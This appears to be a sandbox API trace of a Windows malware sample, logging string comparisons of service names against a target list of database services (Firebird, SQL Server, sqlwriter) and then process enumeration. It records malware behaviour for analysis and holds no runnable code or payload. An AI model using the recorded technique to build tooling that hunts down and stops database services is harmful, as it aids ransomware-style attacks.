	[0172.734] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0172.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0172.734] lstrlenW (lpString="NcbService") returned 10
	[0172.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0172.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0172.734] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0172.734] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0172.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0172.734] lstrlenW (lpString="netprofm") returned 8
	[0172.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0172.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0172.734] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0172.734] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0172.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0172.734] lstrlenW (lpString="NgcSvc") returned 6
	[0172.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0172.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0172.734] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0172.734] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0172.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0172.734] lstrlenW (lpString="NlaSvc") returned 6
	[0172.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0172.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0172.734] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0172.734] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0172.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0172.734] lstrlenW (lpString="nsi") returned 3
	[0172.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0172.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0172.735] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0172.735] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0172.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0172.735] lstrlenW (lpString="PcaSvc") returned 6
	[0172.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0172.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0172.735] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0172.735] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0172.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0172.735] lstrlenW (lpString="PlugPlay") returned 8
	[0172.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0172.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0172.735] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0172.735] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0172.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0172.735] lstrlenW (lpString="Power") returned 5
	[0172.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0172.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0172.735] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0172.735] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0172.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0172.735] lstrlenW (lpString="ProfSvc") returned 7
	[0172.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0172.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0172.735] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0172.735] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0172.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0172.735] lstrlenW (lpString="RpcEptMapper") returned 12
	[0172.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0172.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0172.735] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0172.736] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0172.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0172.736] lstrlenW (lpString="RpcSs") returned 5
	[0172.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0172.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0172.736] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0172.736] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0172.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0172.736] lstrlenW (lpString="SamSs") returned 5
	[0172.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0172.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0172.736] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0172.736] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0172.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0172.736] lstrlenW (lpString="Schedule") returned 8
	[0172.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0172.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0172.736] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0172.736] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0172.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0172.736] lstrlenW (lpString="SecurityHealthService") returned 21
	[0172.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0172.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0172.736] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0172.736] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0172.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0172.736] lstrlenW (lpString="SENS") returned 4
	[0172.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0172.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0172.736] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0172.736] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0172.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0172.736] lstrlenW (lpString="ShellHWDetection") returned 16
	[0172.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0172.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0172.737] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0172.737] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0172.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0172.737] lstrlenW (lpString="Spooler") returned 7
	[0172.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0172.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0172.737] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0172.737] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0172.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0172.737] lstrlenW (lpString="StateRepository") returned 15
	[0172.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0172.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0172.737] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0172.737] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0172.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0172.737] lstrlenW (lpString="SysMain") returned 7
	[0172.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0172.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0172.737] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0172.737] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0172.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0172.737] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0172.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0172.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0172.737] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0172.737] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0172.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0172.988] lstrlenW (lpString="Themes") returned 6
	[0172.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0172.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0172.988] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0172.988] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0172.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0172.988] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0172.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0172.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0172.988] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0172.988] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0172.989] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0172.989] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x52c
	[0172.993] Process32FirstW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0172.994] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0172.994] lstrlenW (lpString="System") returned 6
	[0172.994] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0172.994] lstrlenW (lpString="smss.exe") returned 8
	[0172.994] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0172.995] lstrlenW (lpString="csrss.exe") returned 9
	[0172.995] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0172.995] lstrlenW (lpString="wininit.exe") returned 11
	[0172.995] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0172.996] lstrlenW (lpString="csrss.exe") returned 9
	[0172.996] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0172.996] lstrlenW (lpString="winlogon.exe") returned 12
	[0172.996] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0172.997] lstrlenW (lpString="services.exe") returned 12
	[0172.997] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0172.997] lstrlenW (lpString="lsass.exe") returned 9
	[0172.997] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0172.998] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0172.998] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0172.998] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0172.998] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.999] lstrlenW (lpString="svchost.exe") returned 11
	[0172.999] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.999] lstrlenW (lpString="svchost.exe") returned 11
	[0172.999] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0173.000] lstrlenW (lpString="dwm.exe") returned 7
	[0173.000] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.000] lstrlenW (lpString="svchost.exe") returned 11
	[0173.000] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.000] lstrlenW (lpString="svchost.exe") returned 11
	[0173.001] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.001] lstrlenW (lpString="svchost.exe") returned 11
	[0173.001] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.001] lstrlenW (lpString="svchost.exe") returned 11
	[0173.001] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.002] lstrlenW (lpString="svchost.exe") returned 11
	[0173.002] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.002] lstrlenW (lpString="svchost.exe") returned 11
	[0173.002] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.003] lstrlenW (lpString="svchost.exe") returned 11
	[0173.003] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.003] lstrlenW (lpString="svchost.exe") returned 11
	[0173.004] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.004] lstrlenW (lpString="svchost.exe") returned 11
	[0173.004] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.004] lstrlenW (lpString="svchost.exe") returned 11
	[0173.004] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0173.005] lstrlenW (lpString="spoolsv.exe") returned 11
	[0173.005] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.005] lstrlenW (lpString="svchost.exe") returned 11
	[0173.005] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0173.006] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0173.006] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0173.006] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0173.006] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0173.007] lstrlenW (lpString="audiodg.exe") returned 11
	[0173.007] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0173.007] lstrlenW (lpString="Memory Compression") returned 18
	[0173.007] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0173.008] lstrlenW (lpString="taskhostw.exe") returned 13
	[0173.008] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0173.008] lstrlenW (lpString="sihost.exe") returned 10
	[0173.008] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.009] lstrlenW (lpString="svchost.exe") returned 11
	[0173.009] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0173.009] lstrlenW (lpString="taskhostw.exe") returned 13
	[0173.009] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0173.009] lstrlenW (lpString="explorer.exe") returned 12
	[0173.010] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0173.010] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0173.010] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0173.010] lstrlenW (lpString="SearchUI.exe") returned 12
	[0173.010] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0173.011] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0173.011] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0173.011] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0173.011] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0173.012] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0173.012] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0173.012] lstrlenW (lpString="cmd.exe") returned 7
